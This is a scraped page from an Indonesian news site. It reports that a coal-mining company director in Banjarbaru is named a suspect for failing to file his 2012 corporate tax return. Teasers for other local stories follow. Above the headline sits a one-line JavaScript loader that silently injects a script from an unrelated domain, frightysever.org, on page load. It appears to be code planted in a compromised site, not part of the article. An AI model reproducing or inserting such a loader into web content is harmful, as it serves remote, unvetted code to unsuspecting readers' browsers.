(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tak Setor Pajak Ratusan Juta, Pengusaha Batubara di Banjarbaru Jadi Tersangka


KANALKALIMANTAN.COM, BANJARBARU – Seorang direktur perusahaan berinisial AA di Kalimantan Selatan (Kalsel) dijadikan tersangka karena terjerat kasus tindak pidana perpajakan. AA ditetapkan tersangka oleh penyidik dari Kantor Wilayah Direktorat Jenderal Pajak (Kanwil DJP) Kalselteng.

Berkas perkara AA telah dinyatakan lengkap (P21) dan tersangka beserta barang bukti telah diserahkan kepada Kejaksaan Negeri (Kejari) Banjarbaru, Kamis (12/10/2023) lalu.

Oleh penyidik, tersangka AA direktur sekaligus pemilik CV BA ini diduga telah melakukan tindak pidana bidang perpajakan dengan tidak menyampaikan Surat Pemberitahuan (SPT) Tahunan Pajak Penghasilan (PPh) Badan tahun pajak 2012.

Adapun modus tersangka yaitu tidak menyampaikan SPT tahun PPh Badan atas perolehan dan peredaran penghasilan dari usaha penambangan dan penjualan batubara yang dilakukannya.

Baca juga: Perbaikan Pipa Bocor di Jalan Pramuka, Berikut Wilayah Terdampak Seret Air 12 Jam

“Dengan tujuan tidak membayar pajak penghasilan yang menjadi kewajibannya sehingga menimbulkan kerugian pada pendapatan negara,” ungkap Kepala Kanwil DJP Kalselteng Tarmizi dari keterangan yang diterima, Selasa (24/10/2023) siang.

Dikatakan oleh penyidik tersangka AA dinyatakan melanggar pasal 39 ayat (1) huruf c Undang-Undang Nomor 6 Tahun 1983 tentang Ketentuan Umum dari Tata Cara Perpajakan sebagamiamana telah beberapa kali diubah terakhir dengan Undang-Undang Nomor 7 tahun 2021 tentang harmonis peraturan pajak.

“Perbuatan tersangka diduga menimbulkan kerugian pada pendapatan negara sebesar Rp467.654.195,” ungkap Tarmizi.

Kepala Kanwil DJP Kalselteng mengatakan, kasus tersebut, menurutnya dapat menjadi peringatan bagi para wajib pajak lainnya agar menjalankan kewajibannya menghitung, menyetor, dan melaporkan pajak yang terutang dengan benar.

Baca juga: Bersama Mitra Kerja, Komisi DPRD Kapuas Mulai Lakukan Rapat Pembahasan KUA PPAS 2024

Ia berharap penegakan hukum yang dilakukan secara tegas pada kasus ini dapat menghasilkan efek jera bagi wajib pajak yang tidak taat pajak.

“Ini sebagai peringatan kepada masyarakat lainnya untuk selalu patuh akan peraturan perpajakan. Dan kami akan terus melakukan penegakan hukum untuk memberikan keadilan bagi wajib pajak yang taat pajak,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

41 menit ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

3 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

4 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

6 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

7 jam ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

7 jam ago

This website uses cookies.